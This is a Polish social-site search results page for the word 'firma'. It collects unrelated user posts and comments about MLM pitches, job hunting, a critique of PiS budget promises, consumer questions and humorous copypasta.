Szukaj

opcje zaawansowane

Tworząc zapytanie do wyszukiwarki masz dostępne następujące parametry:

Parametry zapytania można łączyć, na przykład wyszukiwanie wszystkich wpisów wykopu z tagiem #changelog wygląda następująco: user:wykop tag:changelog

Znaleziono 1221 wpisów dla “firma”

  •  

    Dziś stary znajomy zaproponował mi #mlm Lou Pre - nowa firma, to nie MLM bo nie ma pieniędzy a punkty, tak powiedział! Opowiadał jak to inni na ciebie pracują gdy rozbudujesz swoją sieć - nie musisz nawet wtedy kupować perfum! Grzecznie słuchałem co ma mi do powiedzenia, ale przy Mercedesie w leasingu nie wytrzymałem :) Był też inny znajomy, gdy poszedłem do domu to słyszałem jak pyta go czy chce całe życie pracować na etacie czy może wolałby spływanie 5k na konto bez robienia niczego. Dopiero zaczyna swoją przygodę, a gadane miał jak stary xD

    #bekazpodludzi #rakcontent #rakinstant
    pokaż całość

    •  

      @przemyslany_nick: ja mówię tylko o tych, którzy siedzą na samej górze. W MLM zarobić mają właściciele interesu + grupka głównych "liderów". Ta ekipa zarabia grubo po to by reszcie budować złudzenie, że jak będą mocno pracować to też tyle będą mieć.

      "Liderzy" średniego szczebla nierzadko zarabiają sporo, ale po odliczeniu kosztów i czasu jaki poświęcają zostaje im niewiele w kieszeni. Jednak propaganda sukcesu wtłaczana do łba nie pozwala im mówić jak jest naprawdę.

      Jeden z najstarszych MLM na polskim rynku mam okazję obserwować od środka od ładnych kilku lat.
      pokaż całość

    •  

      @Skub4ny: Porównanie do piramidy finansowej jest bardzo zasadne. Mam wrażenie, że to ten sam schemat działania, tylko prowadzony tak, żeby było ok z prawnego punktu widzenia.

    • więcej komentarzy (13)

  •  

    O kurwełe! Firma moja ma doroczne spotkania, tzw. team eventy. W zeszłym roku byliśmy na sky divingu, a w tym roku mieliśmy jechać do Irlandii. Firma nasza ma 3 działy, jeden w NY, główny w Brukseli i w Polsce. W tym roku mieliśmy jechać do Irlandii. Chuja tam. Jedziemy do LAS VEGAS!!! Dajcie parę plusów, bo nie ogarniam! Nigdy w Stanach nie byłam!!! :D

    pokaż spoiler #chwalesie #pracbaza #nocnazmiana #usa
    pokaż całość

  •  

    Czy to była jakaś niestandardowa akcja kampanii społecznej? (Najbardziej widzialbym w tym firmę... Post It).
    EDIT:Po poście, znalazłem info na reddicie

    pokaż spoiler The Secretary of Traffic and Safety Maringa , Ideval de Oliveira, said he believed that the driver was an actor, member of the channel. He claims that, in any case, a fine of R $ 53 was applied to the driver for the offense.


    "I think a valid action. It is an awareness campaign. I do not know the group, but if the goal is to draw attention so that people do not misuse the job, all right," said the secretary. According to city officials, more than a thousand fines have been applied in the year in Maringa, the drivers who park in special places, as did the comedians.

    Sposób obdzierania kartek (pod koniec widać, jak większość jest przymocowana wspólnie, a kierowca nie kwapi się calości odkleić) wydaje się podejrzany. Już nie mowiąc o spokojnym naklejaniu kartek i dokładności zmasowanych nalepiaczy.

    Szukam, ale na razie coś średnio mi idzie. A po śmiertelnym niestandardzie VW pod Terminatora i tweeta o tym Sarah Connor to już wszystko jest możliwe ( ͡º ͜ʖ͡º)

    #reklama czy niereklama o to jest #pytanie

    .
    pokaż całość

    źródło: youtu.be

  •  

    #stan #polityka #obietnica #pis #szydlo Czy PiS może zrealizować obietnice?

    PO trzydniowym zjeździe PiS pozostał kurz i dym, a obietnice rzucone dla Polski, stały się przedmiotem analiz i krytyki, jako nierealne, bo niedoszacowane, czy – zdaniem niektórych – rozjechane z rzeczywistością.

    Beata Szydło nieźle błyszczała na 3-dniowym zjeździe delegatów PiS i zjednoczonej prawicy. Przemawiając do swoich językiem kandydatki na premiera, co jakiś czas wznosiła rękę w górę, w charakterze jednostronnej zwyciężczyni politycznej - w swojej partii, i sondażowej - w konkurencji z prezesem. Opowiadała i bajała 70 minut o programie rządu PiS, który ma zamiar realizować na wypadek, gdy jesienią partia odniesie miażdżące zwycięstwo. A jeśli nie – będzie źle. Kto z PiS rządzić zechce?

    Wydatki niedoszacowane a wpływy przeszacowane

    Publicyści i komentatorzy, na ogół ostro komentują wystąpienie Beaty Szydło na katowickiej konwencji programowej PiS. Zdaniem Dominiki Wielowieyskiej, to jedna z wielkich porażek naszej wolnej Polski, naszej demokracji, że kandydatka największej opozycyjnej partii opowiada rzeczy tak kompletnie "oderwane od rzeczywistości i robi idiotów z ludzi". "Przerażające, że taki polityk nie wstydzi się opowiadania bredni" – powiedziała w programie TOK FM.

    Według wyliczeń mediów, dane PiS oparte na wielomiesięcznych wyliczeniach ekspertów, że propozycje finansowe programu partii dla Polski, będą kosztować 39 miliardów złotych, są zaniżone. Wydatki mogą jednak wynieść aż 53 miliardy złotych. Z kolei wpływy, uzyskane po reformach, które zapowiada partia przyniosą nie 73 miliardy złotych, a jedynie 37 mld zł. To nic wielkiego – czeski błąd przecież.

    Parząc bliżej na wyliczenia pisowskich ekspertów trudno nie zauważyć pomyłek i błędów w dość prostych rachunkach. Widać w nich, jak partyjni eksperci mocno zaniżają wydatki i zawyżają wpływy budżetowe, po ewentualnie wprowadzonych zmianach, czyli zapowiadanych reformach. Ponadto trzeba pamiętać, że wiele z proponowanych rozwiązań gospodarczych, przyniesie zysk – owszem - po latach.

    Po analizie głównych propozycji programowych PiS, "DGP" oblicza wyniki i stwierdza, że wydatki są niedoszacowane, a wpływy budżetowe przeszacowane. Eksperci PiS obliczyli wydatki na 39 mld zł. "DGP" szacuje je na 53 mld zł – różnica 14 mld. Wpływy można zwiększyć o około 34,5–37 mld zł, nie zaś o 73 mld zł; różnica 30 mld zł…

    Patrząc z bliska na wpływy

    Wyliczenia partyjnych ekspertów PiS są kontrowersyjne w istotnych punktach dotyczących źródeł finansowania najważniejszych propozycji zmian. Z szacunkowych wyliczeń "DGP" – podaje portal dziennik.pl - wynika, że partia prezesa Kaczyńskiego może liczyć na dużo mniej, niż chciałaby tego – jak mówiła na konwencji - kandydatka na premiera Beata Szydło. A znacząca część wspomnianych dochodów, wymaga systemowych zmian, zatem nie byłaby do wzięcia od ręki.

    Na przykład zawyżona prognoza obliczeń dotyczy m.in. tego, że z kwoty 39 mld zł, jaka ma trafić do podatników dzięki proponowanym zmianom, 9 mld zł wróci do budżetu w postaci VAT. Eksperci PiS od ekonomii założyli z optymizmem, że Polacy po otrzymaniu 39 mld zł w formie dodatków rodzinnych, wyższej kwoty wolnej w PIT i wcześniejszych emerytur, będą kupowali wyłącznie towary z najwyższą stawką podatku VAT 23 proc.

    Pomijając fakt, że Szydło zapowiedziała obniżenie tej stawki do 22 proc., to rzetelne wyliczenia powinny uwzględniać strukturę konsumpcji: w jednej czwartej budżety domowe są przeznaczane na zakup żywności opodatkowanej 8-procentową stawką. Uwzględniając tylko to, bez założenia, że przynajmniej część kwoty zostałaby zaoszczędzona, wpływy z VAT wyniosłyby 7,5 mld zł – pisze dziennik.pl.

    Walka z unikaniem opodatkowania

    Istnieje problem z weryfikacją kwoty 4 mld zł, pochodzącej z walki z unikania płacenia podatku poprzez transfer zysków do rajów podatkowych oraz 52 mld zł, z uszczelnienia systemu podatkowego. W tym drugim przypadku chodzi o zmniejszenie tzw. luki w VAT. Ta kwota, która powinna trafiać do budżetu państwa (zależna od wielkości konsumpcji), nie trafia; luka w Polsce jest ogromna.

    PiS szacuje tę kwotę na 50 mld zł. Tymczasem firma doradcza PwC wyliczyła ją w 2014 roku na około 42 mld zł, czyli niemal 2,5 proc. PKB, czyli blisko tyle, ile tegoroczny deficyt budżetowy. Zupełnie podobne szacunki jak PWC są z Brukseli. W ocenie Komisji Europejskiej, do polskiego budżetu, nie trafia nawet czwarta część należnego mu podatku. W 2012 roku była to równowartość 9,3 mld euro to jest około 40 mld zł.

    Całkowite zmniejszenie jej do poziomu średniej unijnej, czyli do poziomu 16 proc. VAT należnego, PiS mogłoby uzyskać około 15 mld zł. To zależy w dużym stopniu od metod walki z wyłudzeniami, jakie przyjąłby rząd. Według specjalisty z firmy PwC najbardziej skuteczna byłaby zmiana metody rozliczania podatku, polegająca na wprowadzeniu tzw. podzielonej płatności. Problem w tym, że takich zmian nie da się wprowadzić w krótkim czasie, a walka z oszustami podatkowymi może przynieść efekty po kilku latach.

    Szybsze wpływy do budżetu byłyby z podatków zapowiadanych przez PiS, po pierwsze od aktywów banków, co ma dać budżetowi 5 mld zł. Ale tu wyliczenia PiS są zbyt ostrożne, gdyż przy obecnym poziomie aktywów banków - kwota powinna być o miliard złotych większa. Przy starannym liczeniu danina bankowa mogłaby zapewnić nawet 7 mld zł rocznie. Najmniej kontrowersji wzbudzają szacunkowe 3 mld zł z dochodów z podatków od supermarketów, jak proponuje PiS; są zgodne z wyliczeniem handlowców.

    Kwota wolna od podatku: 8 tys. zł

    Gdyby ta propozycja weszła w życie, to w kieszeni każdego podatnika zostanie dodatkowo 894 zł i tyle właśnie mniej trafi do fiskusa. Dwa lata temu, podatników PIT, którzy mogli skorzystać z kwoty wolnej, było przeszło 23 miliony. Gdyby każdy z tej liczby skorzystał z podwyższonej kwoty wolnej, dałoby to ponad 21 mld zł, czyli 14 mld zł więcej, niż proponuje PiS.

    Jak wynika z wyliczeń mediów, 7 mld zł wskazane przez PiS, to efekt kwoty wolnej od podatku przyjęty tylko dla emerytów i rencistów. To oczywisty błąd. Trzeba tu zwrócić uwagę, że koszt rozłożyłby się zarówno na budżet, jak i samorządy, bowiem do nich trafia połowa tego podatku, zatem ubytek dla budżetu państwa wyniósłby ok. 10 mld.

    Zasiłek 500 zł na dziecko miesięcznie

    Kandydatka na premiera Beata Szydło, powiedziała w sobotę na konwencji PiS, o zasiłku na drugie i kolejne dziecko, co ma dotyczyć 51 proc. rodzin, więc wydatki powinny wynieść 22 mld zł. Uściślamy, gdy chodzi o drugie i kolejne dzieci w rodzinach to 3,7 mln dzieci i zasiłki dla nich wyniosłyby ponad 22 mld zł. Ponieważ w minionym czasie propozycja ta miała dwa warianty – także jako 500 zł na każde dziecko w najbiedniejszej rodzinie – niezależni eksperci policzyli i ten wariant.

    Przeciętnie budżet wypłaca niepełne 2,2 mln świadczeń rodzinnych miesięcznie. A więc można tyle dzieci uznać za najbiedniejsze. Koszt wypłaty na nich zasiłków byłby niższy i wyniósłby 13,2 mld zł. Gdyby jednak połączyć obie propozycje, wyjdzie niepełne 30 mld zł. Ostatecznie to mniej niż prosta suma obu, bo liczba adresatów pierwszej propozycji, powiększa się o jedynaków i pierwsze dzieci w najbiedniejszych rodzinach – wychodzi ogółem nieco ponad 1,2 mln dzieci.

    Powrót do pierwotnego wieku emerytalnego

    PiS szacuje operację tę na 10 mld zł rocznie. To korzyści budżetowe z wydłużonego wieku emerytalnego w 2016 roku. Zważywszy, że pewne zyski związane z tym, budżet już ma, bo co najmniej trzy roczniki emerytów przeszły już później na emeryturę – to około 8 mld zł - skutki zmian kumulują się i są tym większe, im bardziej wydłuża się wiek emerytalny. Ale jakie będą koszty zmian PiS, zależy od tego, kiedy wejdą w życie.

    Jeśli nastąpi to od 1 stycznia 2016 r., to koszty do końca kadencji w 2019 roku, wyniosą 43 mld zł. A jeśli od 2017 r., będzie to 38 mld zł, czyli 10 mld zł rocznie. Natomiast odwrócenie wieku emerytalnego, czyli powrót do pierwotnego, oznacza utratę dużych korzyści w kolejnej dekadzie, gdy dochodziłyby one do ponad 100 mld zł rocznie.
    Źródło: wiadomosci.dziennik.pl.

    Stanisław Cybruch

    Na zdjęciu ilustracyjnym - Beata Szydło na konwencji PiS w Katowicach: trzeba wspierać polskie firmy. Foto: tvp.info.google.com.
    pokaż całość

  •  

    #bekazpodludzi #heheszki
    Napisz w komentarzu na FB pod ogłoszeniem firmy, która sprzedaje laptopy Lenovo za 1120zł , że w internetowych sklepach taki sam jest po 899zł to cię prokuraturą straszą xD

    źródło: beztytułu.PNG

  •  

    Drogie mirasy, #farba #dulux na #allegro jest tańsza o 1/3 ceny niż w sklepie. Janusz na allegro prawilny, ma od chuja dobrych komentarzy, prowadzi firmę "pol-farb-jan-plast-pol" i rozlicza się z fiskusem jak mu babcia kazała. Myślicie że ta farba nie jest lewa? Można kupić skoro marka itede? #remont #malowanie

  •  

    Mały wstęp do tagu - #devpieszukapracy - dajcie suba i łapkę w górę #pdk

    pokaż spoiler Ewentualnie czarnolisto ( ͡° ʖ̯ ͡°)

    Wakacje, praktyki szkolne dopiero w wrześniu/przyszłym roku, ja siedzę i nudzę się w domu próbując bawić się trochę w #php + #mysql, a także #gamedev - Unity3D + Unreal Engine, modele w Blenderze i obróbka tekstur w Gimpie. Od początku maja szukam jakichkolwiek staży lub możliwości podjęcia pracy wakacyjnej w firmach ściśle powiązanych z #it. Moją główna "specjalizacją" jest testowanie oprogramowania - w tej dziedzinie mam dwa miesiące doświadczenia podczas stażu (praca m.in. przy rozwiązaniach wewnętrznych dla Orange oraz Ministerstwa Administracji i Cyfryzacji) - staż ukończyłem z najwyższym wynikiem w 15-osobowej grupie + masa godzin spędzonych na poszukiwaniu bugów online (głównie projekty #samp i małe aplikacje internetowe).

    Ok, teraz coś o mnie - jestem uczniem - zmierzam właśnie w kierunku 3-ej klasy technikum z teoretycznym egzaminem zawodowym napisanym na ok. 90% i na 99.9% zdanym egzaminem praktycznym z wynikiem ponad 85%. Bardzo to przeszkadza w znalezieniu pracy, ponieważ większość firm szuka albo studentów, albo prymusów - nie zaliczam się ani do jednej, ani do drugiej grupy. Dziennie wysyłam ok. 25 zestawów CV + list motywacyjny w których dokładnie tłumaczę dlaczego chciałbym podjąć pracę w danej firmie - każdy zestaw przygotowuje specjalnie pod daną firmę i schodzi mi na nie kilka godzin dziennie. Gdybym wiedział że będę miał takie problemy z znalezieniem czegokolwiek, to od połowy czerwca poszedłbym na pieprzone ulotki żeby chociaż mieć trochę więcej kasy na różnego rodzaju książki - dzisiaj rozglądałem się 8 godzin za czymkolwiek i jedyne wolne terminy są na koniec sierpnia.

    Co do samych wpisów na tagu - dzisiaj nie mam siły na jakiekolwiek śmieszkowanie, ale będę starał się wpisy utrzymać w miarę luźnej formie - najczęściej po popełnieniu różnego rodzaju milestonów typu 100 wysłanych CV w ciągu jednego dnia ( ͡° ͜ʖ ͡°) Jeśli do końca lipca niż mi nic nie wyjdzie to prawdopodobnie wybiorę najgorszą opcję jaką przewiduję - darmowe praktyki gdziekolwiek.
    Jeszcze kilka tagów dla #atencja
    #pracbaza #przegryw #programowanie #testowanieoprogramowania #techbaza #licbaza #staz #praktyki #spamtagami
    pokaż całość

    źródło: i.imgur.com

    •  

      @Benq20: 15k nie, ale stawka większa niż 1200zł netto to chyba jakieś minimum egzystencjalne, biorąc pod uwagę że same wynajęcie małego mieszkania to ponad połowa tej kwoty.

    •  

      @devPie: swoją pierwszą pracę podejmowałem za 1600zł netto. Po kilku miesiącach było to 2000zł netto. Ciężko mówić o zarobkach, ja jestem z pipidówy małej. W Warszawie czy Wrocławiu pewnie na tym samym stanowisku byłoby 3000zł. Bądź cierpliwy i się kształć a kasy Ci nie zabraknie. Teraz np angielski to podstawa w IT. Jak masz poziom "fluet" to bez doświadczenia łykną Cię w większym mieście za dobrą kasę. Skończ szkołę a nie stresuj się, w zależności od wizji przyszłości możesz sobie robić jakieś projekty do "portfolio" np na githubie. pokaż całość

      +: Rainey
    • więcej komentarzy (10)

  •  

    Będzie prawie rok odkąd wrzuciłem swój pierwszy filmik na YT. :D
    Miło patrzeć jak to się rozwinęło. Od prostego tutka z libgdx do 4000 subkrybcji. Ponad 1000 poubień na FB i ponad 600 obserwujących mój tag #javadevmatt

    Fajnie jest budować społeczność i wiem, że mógłbym to monetyzować przez jakieś płatne kursy programowania, czy inne rzeczy związane z programowaniem.
    Jednak nie jest to coś, czym chciałbym się zajmować w 100%. Programowanie to raczej środek do celu.

    Co do dalszych planów: pod #mattzagranico czasami opisuję jak rozwijam mój biznesik #zagranico.
    Bardzo chciałbym intensywniej zajmować się muzyką. Dlatego wymyśliłem sobie firmę, która będzie robić rzeczy wokół edukacji muzycznej i wykorzystanie w tym nowych technologii.

    Pierwszy projekt: http://www.notefighter.net/ #notefighter
    Jakieś małe sukcesy z tym zdobyłem. Tutaj opisałem szerzej.

    Podczas kombinowania nad nowym projektem postanowiłem, że powinienem raczej zacząć budować społeczność, która będzie mi dostarczać grupę docelową do moich projektów. Dlatego niedługo ruszę z blogiem (i może później YT) o edukacji muzycznej i wykorzystaniu nowych technologii w nauce grania na instrumencie. Grupą docelową będą początkujący i średniozaawansowani hobbiści muzycy. :) Zobaczymy co z tego wyjdzie. Planuję uderzyć z pisaniem po angielsku, bo grupa docelowa jest dosyć wąska - już częściej padały pytania dlaczego prowadzę bloga po polsku, skoro mógłbym powalczyć o dużo więcej pisząc po angielsku. Z promowanie Note Fighter mam bardzo dobre doświadczenia na reddicie i forach zagranicznych, więc myślę ze bloga będę mógł równie dobrze promować wśród globalnej społeczności.

    Jedną z rzeczy, które nauczyłem się o promocji w internecie jest to, że nie liczy się to "co się mówi", ale raczej to "kto to mówi". Dlatego mam zamiar zacząć budować społeczność muzyków hobbistów, którym będę dostarczał artykuły/filmiki na YT i przy okazji sprzedawał im moje softy/gry. :D

    Niedługo podam adres bloga - muszę jeszcze domenę zarejestrować, by nikt mi nazwy nie ukradł. :D
    Nie można zajmować się wszystkim jednocześnie. Należy stawiać priorytety na robienie tego co się naprawdę lubi - dlatego trochę ograniczyłem pisanie o progrmowaniu.

    Blog #javadevmatt nie zniknie. Ot co jakiś czas chętnie coś tam skrobnę, jak np. materiał który szykuję o pewnej firmie gier indie. Więcej info w tym wpisie: http://www.wykop.pl/wpis/13360677/maly-przeciek-co-szykuje-jako-nastepny-wpis-na-blo/

    Zastanawiam się też, czy nie spróbować popracować jakiś czas w firmie, która profesjonalnie zajmuje się gamedevem, by tam trochę rzeczy podpatrzeć... pożyjemy, zobaczymy. Będę informował na bieżąco. :D Aktualnie muszę ogarnąć takie przyziemne sprawy jak przeprowadzkę do ciut większego mieszkania. Ponad rok męczyłem się w 20 metrach kwadratowych, ale dzięki temu sporo zaoszczędziłem i mogę to zainwestować we własny biznes. ( ͡€ ͜ʖ ͡€)

    Bawcie się dobrze. (⌐ ͡■ ͜ʖ ͡■)
    pokaż całość

  •  

    Do Tele-Foniki wpłynęła oferta na zakup Wisły. Oferta pochodzi z polskiej firmy. Jednego z liderów w swojej branży w Europie. Jest rozważana.
    za KrystianGruszczyński/twitter
    ForumWisla.pl potwierdza
    #wislakrakow

    +: RIKZAG
  •  

    Mirki z #firma #transport #spedycja #logistyka

    Znacie może jakąs firmę która zajmuje się windykacją na terenie Chorwacji ??

    +: Edd3k
  •  

    Mirki jak to jest, mam umowę z Orange do następnego roku ale że jakaś prywatną firma poprowadziła światłowody przez moja wieś i maja jakość i ceny 100 razy lepsze. Od 3 dni nie mam Neta od Orange bo jakaś awaria jest, co burze jest ale chyba jak teraz pierdolnelo to na amen, to czy jest jakiś myk żeby przed terminem zrezygnować z ich usług? Chce żeby poszli w pizdu
    #orange #internet #komputery #pcmasterrace
    pokaż całość

    +: RIKZAG
    •  

      @kajojekb: firmy takie aby zdobyc klienta placa abonament za Ciebie i podpinaja swoje uslugi. U mnie zicom tak robi

    •  

      @kajojekb: myślę że nie ma problemu, zapłać im tylko z góry równowartość reszty abonamentu ( ͡° ͜ʖ ͡°)
      A tak serio to chyba nie, ale pamiętaj żeby zrezygnować chyba jakieś 3 miesiące przed końcem bo później to jest za późno i ci przedłużą bez pytania o pół roku.

    • więcej komentarzy (2)

  •  

    Firma Equus tworzy nowe wozy stylizowane na lata 60,70. Fajna sprawa. Nawet logo ala mustang ( ͡° ͜ʖ ͡°)

    #carboners #samochody

    źródło: i.imgur.com

  •  

    Jak co rano obudziłem się jeszcze piękniejszy. Przysunąłem się do partnerki owiniętej moim długim penisem. Do ucha wyszeptałem jej piękny wiersz po czym pocałowałem w policzek.

    Ona przejechała ręką wpierw po moim dwudniowym zaroście, który mimo swojej długości jest aksamitnie miękki, tak by jej nie zadrapać, po czym objęła moje solidne barki i sportowy tors, mówiąc jak pięknie pachnę. Co dzień budzę się pachnąc innymi perfumami, dziś jest to D&G, wczoraj była to Lacoste. Zszedłem po cichu z łóżka na podłogę, robiąc przy tym 100 pompek wpierw na jednej ręce, potem na drugiej, a na końcu bez pomocy rąk. Dorzuciłem jeszcze kilka brzuszków, myśląc w międzyczasie co przyrządzić na śniadanie (zapomniałem dodać, że uwielbiam gotować).

    Do sklepu pobiegłem na około robiąc jakieś 10 km, by utrzymać dobrą sylwetkę. Kupiłem świeże bułki, kwiaty i od razu coś na obiad. Po powrocie poranna toaleta. Muszla klozetowa ma przykręconą deskę, tak bym nigdy nie zapomniał jej opuścić. Sikam na siedząco, w ogóle mi to nie przeszkadza, a kupy nie robię, jako że jestem idealny. Przy okazji szybkie sprzątanie łazienki i już można zabierać się za śniadanie. Pomyślałem o smacznym omlecie z upieczonymi bułeczkami i wyciśniętym świeżym sokiem. Oczywiście całe śniadanie w łóżku. Kocham być romantyczny. Na seks nie liczę, chce mi się go tylko wtedy kiedy mojej partnerce.

    Po tym wszystkim przystępuję do reszty dnia: przegląd prasy biznesowej, plany na kolejny rozwój mojej firmy, poza tym blog ekonomiczny, lifestylowy, technologiczny i na prędce napisany wiersz, który może kiedyś zagram nawet na gitarze ze swoim zespołem.

    Potem jakieś domowe robótki: prasowanie, sprzątanie, przykręcanie gniazdek, no i uciekam na siłownię wraz z zajęciami z boksu. Pojadę kabrioletem, bo jest ciepło, choć myślałem jeszcze chwilę o motorze. Chyba wezmę motor, a kobieta samochodem skoczy sobie na zakupy i sushi. Zawsze mam problem z wyborem koszuli. Kurcze człowiek ma dwie garderoby, a i tak nie ma w co się ubrać. Muszę też uważać, bo ostatnio zakładając koszulę, przez przypadek podarłem ją o moją tarkę na brzuchu. Śmieszna historia.

    Po zajęciach pędzę do domu spędzić czas z ukochaną i zaplanować wieczór. W sumie to nie spodziewa się, że najpierw zabieram ją do kina a potem do restauracji.

    Zamawiamy szampana i jakieś wykwintne dania. Biorę do ust widelec, gryzę a tam… kamień. Bo tak naprawdę nie ma kobiety, nie ma samochodu, nie ma sklepu, nie ma kwiatów i restauracji. Jest tylko mroźna łotewska zima, halucynacja z niedożywienia i śmierć. Takie życie.

    #pasta #heheszki #pewniebyloaledobre
    pokaż całość

  •  

    Kto podpisał umowę o pracę i zarabia grubo powyżej średniej krajowej plus bonus w postaci procentu od przychodów firmy?

    pokaż spoiler Ja

    Kto jest szefem nowego działu w firmie i wszyscy patrzą na niego jak na objawienie?

    pokaż spoiler Ja

    Kogo szef słucha z uwagą i robi notatki?

    pokaż spoiler Mnie

    Kto dostał top kompa, top telefon, top samochód?

    pokaż spoiler Ja


    I niech nikt mi nie pierdoli, że w tym kraju nie robi się kariery.
    pokaż całość

  •  

    Ktos zna jakies sprawdzone sposoby by sobie dorobić przez internet? Dziedzina nie ma znaczenia (no moze poza showupami). Czekam na przelew z firmy gdzie pracuje ale szybko potrzebna mi gotowka.
    #praca #pieniadze

  •  

    Mirki i Mirkówny z miast #swinoujscie, #miedzyzdroje, #wolin, #szczecin. Czy ktoś z #budownictwo lub #architektura jest zainteresowany odbyciem praktyk na budowie w #swinoujscie? Firma zapewnia obiady i zaświadczenie o odbyciu praktyk do uprawnień zawodowych. Praktyki na wakacje, 8h dziennie. Renowacja fasad zabytkowych kamienic. Chętni info na PW. pokaż całość

  •  

    - Dzień dobry. Poproszę kredyt na rozwój naszej sieci handlowej w Polsce.
    - Czyście powariowali? Nie ma takiej opcji żeby wspierać jakieś konkretne firmy. To musi być powiązane ze wsparciem dla rozwoju.
    - Ale my nie dla zysku. My chcemy "dostarczać żywność dobrej jakości ludziom biednym" xD
    - A to w porządku. Ile tego kredytu?
    - Miliardzik xD
    - Czyście....??!!!!
    - Spokojnie, spokojnie. Proszę się nie gorączkować. Jesteśmy firmą niemiecką, tak? A wy jesteście EBOiR i dajecie kasę na rozwój prywatnego sektora w krajach rozwijających się, tak? No to wolicie żeby tam się rozwinęły supermarkety niemieckie czy, nie daj Boże, polskie? I może jeszcze pozwolicie żeby mieli silną gospodarkę i Wam pyskowali w Europie?
    - No. Dobra. To damy Wam kredyt. A dacie radę go spłacić szybko?
    - O to się już nie musicie martwić. Załatwione jest, że podatków w Polsce płacić nie będziemy xD Tylko musicie pomóc nam utrzymać u władzy obecną ekipę.
    - Coś się wymyśli. Zresztą media macie tam w 80% wykupione to sobie poradzicie xD A ten. A ludzie to nie będą się denerwować, że im lokalny handel padł?
    - Nie będą, bo im powiemy, że "to są tanie sklepy i dzięki dużym dostawom negocjujemy dla nich niższe ceny" xD No i powie się im jeszcze, że mogą teraz wcinać szynkę parmeńską i belgijskie czekoladki zamiast cebuli i pomidorów. Światowo!
    - A rolnicy jak zaczną protestować, że nikt od nich nie kupuje, a jak już to tylko sieci handlowe po zaniżonych cenach?
    - To się zagada z Komisją żeby im dała takie dopłaty żeby siedzieli cicho. A jak się już od uprawy odzwyczają to się ziemię kupi. Ja gut herr bank? xD
    - Wy to mocie głowa! Będzie ten miliardzik xD
    [o]

    http://forsal.pl/artykuly/881520,jak-lidl-i-kaufland-za-pieniadze-miedzynarodowych-instytucji-finansowych-zdobywaly-polski-rynek.html

    ( ͡° ͜ʖ ͡°)

    #lidl #kaufland #neuropa #banki #takaprawda #zelaznalogika #wolnyrynek #truestory #afera
    pokaż całość

  •  

    Hej mircy i mirabelki. Kto robi dobre noze kuchenne? Mialem taki uniwersalny gerlachowski z dawnych lat (pewnie starszy niz ja - lvl 30+) i niestety rekojesc sie rozleciala. Jako ze odratować sie go nie da, chcę sobie sprezentować coś nowego i tu pytanie: jakue firmy robią sensowne noże kuchenne? Nie musi miec rękojeści z masy perłowej, ale liczę sie z tym, że za porządny noz trzeba zapłacić.

    #gotowanie #kuchnia #noze #noz
    pokaż całość

    •  

      @ufo99: W miarę przyzwoite ceny to Gerlach, Victorinox i Fiskars. Chociaż ostatnio korzystałem u znajomego z Globala i chyba zacznę zbierać piniondz ( ͡° ͜ʖ ͡°) Fenomenalny sprzęt.

    •  

      @ufo99: polskie kuchenniaki http://www.klosy.pl/knivesindex.php ale to już na jakieś konkretnie spore zamówienia robią, i z terminami też chyba u nich ciężko. Najlepiej popytaj na forum knives.pl Tam goście robią cuda. A można wiedzieć dlaczego się go nie da odratować? Wrzuć zdjęcia, bo jak nóż się w pół nie złamał to można mu dać drugie życia. W zasadzie to połamane też się da wskrzesić. Pokaż go to ocenimy czy do kosza czy do zrobienia. pokaż całość

    • więcej komentarzy (7)

  •  

    Mam do zaoferowania 6 samochodów opel astra. Skąd taka ilość? Opowiem Wam krótką historię.

    Poznaliśmy się w 2013 roku. Dziewczyna ładna, było fajnie. Trochę zazdrosna, ale jakoś mi to nie przeszkadzało.

    Ponieważ pracowałem od niedawna w pewnej firmie, bardzo zależało mi na tym, aby dać się poznać jako solidny pracownik z dużymi możliwościami. Udało mi się zabłysnąć kilka razy, więc szef zabrał mnie na delegację, gdzie mieliśmy spotkać się z przedstawicielami pewnej firmy i negocjować dostawy. Wyjazd wypadł nagle, więc mojej ukochanej nie zdążyłem wcześniej powiadomić. Sam byłem zaskoczony tak szybkim wyjazdem. Miało mnie nie być trzy dni (noclegi w hotelu na drugim końcu Polski). Stwierdziła, że wyjeżdżam do kochanki. Nie pomogły moje zaprzeczenia. Obiecałem nawet zdjęcie z delegacji z szefem na tle hotelu. Zdjęcie wysłałem. Stwierdziła, że wyjeżdżam na jakąś orgię bo szef (według niej mój kumpel), miał prawie ten wiek co ja. Walnęła wielkiego focha i przestała się odzywać.

    Jak wspomniałem wcześniej wyjeżdżałem nagle. Pakowałem się w pośpiechu. Nie miałem gotówki przy sobie, wiec zostawiłem dziewczynie kartę kredytową z limitem 600.000 złotych i powiedziałem jej kup sobie kochanie co tam potrzebujesz, bo nie mam czasu wypłacić nic z bankomatu. I to był błąd. Kiedy wróciłem zobaczyłem w mieszkaniu wielki stos ubrań najróżniejszych marek a na tym stosie kopertę, w której była moja karta kredytowa i liścik. W liściku informacja: MIŁEGO ZWRACANIA TOWARU. Karta wyczyszczona prawie co do złotówki a w moim garażu samochody. Załamka niezła. Nie odbierała telefonów. Spakowałem samochody na lawetę i tak stoją do tej pory przed domem.

    Najchętniej oddałbym je do właścicieli, ale ona zapomniała lub celowo nie zostawiła mi paragonów. Poza tym, samochody te kupowała w sklepach w całej Polsce. Skąd to wiem? Z karty pobrano pieniądze za wynajem samochodu VV Touran ( 890 złotych) i tankowanie w kilku różnych miejscach Polski (601 złotych). Przeważające roczniki to 99 i 98, choć nie tylko. Są to samochody bezwypadkowe. Kolory jakie widziałem to czarny, biały, żółty. Ewidentnie widać, że nie kupowała tego z myślą o sobie w tym tylko w tym celu, abym miał trudniej się tego pozbyć. Taka zemsta, tylko że ja nie zawiniłem. Jak się później udało mi z nią skontaktować to oświadczyła, że skoro nawet jej nie zdradzałem to i tak moja wina bo wzbudziłem w niej niepokój i miała prawo mnie ukarać :/

    #tfwnogf
    #przegryw #feels #oswiadczenie #coolstory #allegrostory #pdk #pasta
    pokaż całość

  •  

    Mamy dla Was #ciekawostki z naszego bloga

    Jedna karta płatnicza z bluetooth, wyświetlaczem E-ink i akumulatorem na której można zapisać 20 różnych kart.

